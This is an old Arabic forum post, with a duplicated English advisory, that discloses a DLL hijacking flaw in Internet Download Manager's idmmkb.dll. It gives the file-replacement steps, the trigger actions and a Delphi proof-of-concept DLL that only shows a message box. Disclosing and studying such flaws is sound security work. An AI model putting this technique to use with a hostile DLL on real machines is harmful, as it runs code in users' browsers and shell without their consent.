07-09-2010, 05:05 PM
السلام عليكم و رحمة الله
استغلال صلاحيات برنامج ما لتنفيذ اوامر ضارة في مستوى متقدم على النظام، يعني اذا استطعت ان تجعل برنامج معين عنده صلاحيات، Digitally signed او Privilege او متصفح انترنت يحمل ملف مكتبة ديناميكية دون تعديل على البرنامج و باستغلال ثغرة برمجية فيمكنك عمل اي شئ للنظام او لمستعمل النظام.
الثغرة: مكتبة IDM تقوم بترصد النشاطات الخاصة بالمستعمل لتسهيل عملية الخدمة، اعتمادا على حقنها في النظام، بتغيير المكتبة الحقيقية بالمكتبة التجريبية سوف يتم حقن المكتبة التجريبية دون فحصها، و مع كل حدث يتم تنفيذ اوامر المكتبة التجريبية مكان الأصلية:
العملية:
1- نسخ ملف Test.dll و لصقه في مجلد تنصيب IDM.
2- اعادة تسمية الملف idmmkb.dll الى idmmkb.dll_original.
3- اعادة تسمية الملف Test.dll الى idmmkb.dll.
التجربة:
- نجرب اعادة تشغيل النظام.
- تشغيل Internet Explorer او Mozilla Firefox.
- ....
- ....
- ....
استغلال صلاحيات برنامج ما لتنفيذ اوامر ضارة في مستوى متقدم على النظام، يعني اذا استطعت ان تجعل برنامج معين عنده صلاحيات، Digitally signed او Privilege او متصفح انترنت يحمل ملف مكتبة ديناميكية دون تعديل على البرنامج و باستغلال ثغرة برمجية فيمكنك عمل اي شئ للنظام او لمستعمل النظام.
الثغرة: مكتبة IDM تقوم بترصد النشاطات الخاصة بالمستعمل لتسهيل عملية الخدمة، اعتمادا على حقنها في النظام، بتغيير المكتبة الحقيقية بالمكتبة التجريبية سوف يتم حقن المكتبة التجريبية دون فحصها، و مع كل حدث يتم تنفيذ اوامر المكتبة التجريبية مكان الأصلية:
إقتباس :Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
العملية:
1- نسخ ملف Test.dll و لصقه في مجلد تنصيب IDM.
2- اعادة تسمية الملف idmmkb.dll الى idmmkb.dll_original.
3- اعادة تسمية الملف Test.dll الى idmmkb.dll.
التجربة:
- نجرب اعادة تشغيل النظام.
- تشغيل Internet Explorer او Mozilla Firefox.
- ....
- ....
- ....
Exploit Title: [Dll Hijacking Exploit]
Application: [Internet Download Manager module(idmmkb.dll) Tonec Inc.]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [All Internet Download Manager release]
Tested on: [Windows Xp, Vista, Windows 7]
Description:
------------
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
That allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
Instructions:
-------------
1- Copy "Test.dll" into %Internet Download Manager folder%
2- Rename "idmmkb.dll" to "idmmkb.dll_Original"
3- Rename "Test.dll" to "idmmkb.dll"
Perform this tests:
-------------------
- Restart your system.
- Try to run Windows Internet Explorer or Mozilla Firefox.
- Try to open you folders and links locate on your Desktop (My Computer, Recycle bin, My Documents and other...)
- Choose any Link property and click Find target.
Test Dll Delphi Source:
---//--
[COLOR="DarkSlateBlue"]Library Test;
uses
Windows;
begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission'),
PChar('Sample'),
MB_ICONSTOP
);
end.[/COLOR]
---//---
c) 2010 by STRELiTZIA.
Application: [Internet Download Manager module(idmmkb.dll) Tonec Inc.]
Date: [07 Sept 2010]
Author: [STRELiTZIA]
Version: [All Internet Download Manager release]
Tested on: [Windows Xp, Vista, Windows 7]
Description:
------------
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
That allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
Instructions:
-------------
1- Copy "Test.dll" into %Internet Download Manager folder%
2- Rename "idmmkb.dll" to "idmmkb.dll_Original"
3- Rename "Test.dll" to "idmmkb.dll"
Perform this tests:
-------------------
- Restart your system.
- Try to run Windows Internet Explorer or Mozilla Firefox.
- Try to open you folders and links locate on your Desktop (My Computer, Recycle bin, My Documents and other...)
- Choose any Link property and click Find target.
Test Dll Delphi Source:
---//--
[COLOR="DarkSlateBlue"]Library Test;
uses
Windows;
begin
MessageBoxA
(
0,
PChar('Yep, I''m running in your system without your permission'),
PChar('Sample'),
MB_ICONSTOP
);
end.[/COLOR]
---//---
c) 2010 by STRELiTZIA.

